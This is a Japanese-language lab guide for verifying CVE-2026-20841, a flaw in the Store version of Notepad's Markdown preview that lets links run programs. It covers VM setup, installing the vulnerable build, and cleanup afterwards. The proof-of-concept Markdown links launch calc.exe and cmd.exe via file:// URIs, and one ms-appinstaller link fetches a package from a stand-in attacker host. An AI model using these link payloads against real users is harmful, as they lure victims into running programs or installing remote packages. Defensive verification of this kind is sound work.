| 項目 | 要件 |
|---|---|
| OS | Windows 10 または Windows 11 (21H2/22H2/23H2) |
| Notepad | Microsoft Store版 11.2510 未満 (脆弱バージョン) |
| ネットワーク | オフラインで可 (file:// ペイロードの場合) |
| 権限 | 一般ユーザー権限で十分 |
Windows Sandbox は使い捨ての隔離環境で、閉じると全ての変更が消去されます。
有効化手順:
Win + R→optionalfeatures→ Enter- 「Windows Sandbox」にチェック → OK → 再起動
- スタートメニューから「Windows Sandbox」を起動
制限:
- Windows Sandbox内のNotepadはOS組み込みのレガシー版が初期状態
- Store版Notepadを別途インストールする必要がある (方法は1.4参照)
Hyper-V, VirtualBox, VMware 等で Windows 10/11 のVMを構築。
メリット:
- スナップショットで状態を保存/復元可能
- ネットワーク隔離が容易
推奨手順:
- Windows 10/11 の ISO を取得 (Microsoft公式)
- VMを作成しインストール
- スナップショットを取得 (クリーン状態)
- 脆弱なNotepadをインストール (1.4参照)
- 検証実施
- 検証後にスナップショットに戻す
本プロジェクトで取得済みのパッケージを使用します。
# 1. macOSからWindows VMにファイルを転送
# binaries/pre-patch-11.2508.38.0.msixbundle をVMにコピー
# 2. PowerShell (管理者) で開発者モードを有効化
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" -Name "AllowDevelopmentWithoutDevLicense" -Value 1
# 3. 既存のStore版Notepadがあればアンインストール
Get-AppxPackage *WindowsNotepad* | Remove-AppxPackage
# 4. 脆弱バージョンをインストール
Add-AppxPackage -Path ".\pre-patch-11.2508.38.0.msixbundle"
# 5. バージョン確認
Get-AppxPackage *WindowsNotepad* | Select-Object Name, Version
# → Version が 11.2508.38.0 であることを確認# 1. Store の自動更新を無効化 (検証中のアップデート防止)
# Microsoft Store → 設定 → アプリの更新 → オフ
# 2. または、グループポリシーで制御
# gpedit.msc → コンピューターの構成 → 管理用テンプレート
# → Windows コンポーネント → Store
# → 「更新プログラムの自動ダウンロードおよびインストールをオフにする」→ 有効重要: 検証中に自動更新で脆弱なバージョンがパッチされないよう、必ず自動更新を無効化してください。
# Notepadのバージョン確認
Get-AppxPackage *WindowsNotepad* | Select-Object Name, Version, PackageFamilyName
# 期待される出力:
# Name : Microsoft.WindowsNotepad
# Version : 11.2508.38.0
# PackageFamilyName : Microsoft.WindowsNotepad_8wekyb3d8bbweバージョンが 11.2510 未満 であることを確認。
- 以下の内容で
test_poc.mdを作成:
# CVE-2026-20841 Test
[Click to test](file://C:/windows/system32/calc.exe)- Store版 Notepad で
test_poc.mdを開く:
# Store版Notepadで開く
start notepad test_poc.md-
Markdownプレビューが有効であることを確認
- Notepadのメニューで「表示」→「Markdownプレビュー」が有効
- またはファイルの拡張子が
.mdであれば自動有効化される場合あり
-
レンダリングされたリンク「Click to test」をクリック
-
期待される結果 (脆弱バージョン):
- 電卓アプリ (calc.exe) が起動する → 脆弱性確認
-
期待される結果 (パッチ済みバージョン):
UnsafeLinkAlertDialogが表示される- リンクの安全性について警告が出る
- ユーザーが許可しない限り実行されない
# CVE-2026-20841 Test - cmd.exe
[Open command prompt](file://C:/windows/system32/cmd.exe)→ クリックで cmd.exe が起動すれば脆弱性確認。
# CVE-2026-20841 Test - App Installer
[Install update](ms-appinstaller://?source=https://evil.example.com/test.appx)→ クリックで App Installer が起動しリモートURLへのアクセスを試みれば脆弱性確認。 (実際の .appx が存在しなくても、App Installer の起動自体が脆弱性の証拠)
# Safe vs Unsafe comparison
[Safe: HTTPS link](https://www.microsoft.com)
[Unsafe: file:// link](file://C:/windows/system32/calc.exe)→ HTTPS リンクは正常にブラウザで開かれるべき。 → file:// リンクが無警告で実行されれば脆弱。
# パッチ済みバージョンをインストール
Get-AppxPackage *WindowsNotepad* | Remove-AppxPackage
Add-AppxPackage -Path ".\post-patch-11.2510.14.0.msixbundle"
# バージョン確認
Get-AppxPackage *WindowsNotepad* | Select-Object Version
# → 11.2510.14.0同じ test_poc.md で再テスト:
UnsafeLinkAlertDialogが表示されることを確認- file:// リンクがブロック/警告されることを確認
検証結果を記録するために、以下を推奨:
各テストで以下をキャプチャ:
- Notepadのバージョン情報画面
- Markdownプレビューでリンクが表示されている状態
- リンククリック後の結果 (calc.exe起動 or 警告ダイアログ)
# スクリーンショットツール
# Win + Shift + S (Snipping Tool)
# または
snippingtool# Sysinternals Process Monitor で詳細な動作を記録
# https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
# フィルタ設定:
# Process Name is Notepad.exe
# Process Name is calc.exe
# Process Name is cmd.exe
# Operation is Process Create
# これにより、Notepadからcalc.exeがどのように起動されたか
# (親プロセス関係、コマンドライン引数等) を記録できる| テスト | バージョン | 操作 | 結果 | 脆弱? |
|---|---|---|---|---|
| Test1 file:// calc | 11.2508.38.0 | リンククリック | calc起動 | Yes/No |
| Test1 file:// calc | 11.2510.14.0 | リンククリック | 警告表示 | Yes/No |
| Test2 file:// cmd | 11.2508.38.0 | リンククリック | cmd起動 | Yes/No |
| Test3 appinstaller | 11.2508.38.0 | リンククリック | Installer起動 | Yes/No |
| Test4 https比較 | 11.2508.38.0 | リンククリック | ブラウザ起動 | N/A |
# 署名の問題の場合 - 開発者モードを有効化
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" -Name "AllowAllTrustedApps" -Value 1
# 依存パッケージの不足
# エラーメッセージに記載された依存パッケージをインストール
# Microsoft.VCLibs, Microsoft.UI.Xaml 等
# VCLibs のインストール (x64)
Add-AppxPackage -Path "Microsoft.VCLibs.x64.14.00.Desktop.appx"- Store版Notepadであることを確認 (レガシー版にはMarkdown機能なし)
- ファイル拡張子が
.mdであることを確認 - Notepad設定で Markdown プレビューが有効であることを確認
- バージョン 11.2408 以降で Markdown プレビューが利用可能
- Markdownプレビューパネルが表示されていることを確認
- プレビューパネル内のリンクをクリック (エディタ側ではなく)
[text](url)の Markdown 書式が正しいことを確認
# Microsoft Store の自動更新を確実に停止
Stop-Service -Name "InstallService" -Force
Set-Service -Name "InstallService" -StartupType Disabled
# または、ネットワークを切断した状態で検証を行う# 1. 脆弱バージョンをアンインストール
Get-AppxPackage *WindowsNotepad* | Remove-AppxPackage
# 2. パッチ済みバージョンをインストール (本番環境の場合)
Add-AppxPackage -Path ".\post-patch-11.2510.14.0.msixbundle"
# または Microsoft Store から最新版にアップデート
# 3. Store自動更新を再有効化
Set-Service -Name "InstallService" -StartupType Automatic
Start-Service -Name "InstallService"
# 4. テストファイルの削除
Remove-Item test_poc.md重要: 検証後は必ず脆弱バージョンをアンインストールし、パッチ済みバージョンに更新してください。
# macOS側: プロジェクトディレクトリをVM共有フォルダに設定
# VirtualBox: 設定 → 共有フォルダ → /Users/uky/src/CVE-2026-20841
# VMware: 設定 → 共有 → /Users/uky/src/CVE-2026-20841# macOSからWindows VMにファイルを転送
scp -r /Users/uky/src/CVE-2026-20841/binaries/*.msixbundle user@windows-vm:C:/temp/
scp /Users/uky/src/CVE-2026-20841/poc/exploit.md user@windows-vm:C:/temp/# macOSでUSBにコピー
cp -r /Users/uky/src/CVE-2026-20841/binaries/*.msixbundle /Volumes/USB/
cp -r /Users/uky/src/CVE-2026-20841/poc/ /Volumes/USB/Verification Guide - CVE-2026-20841 - 2026-02-12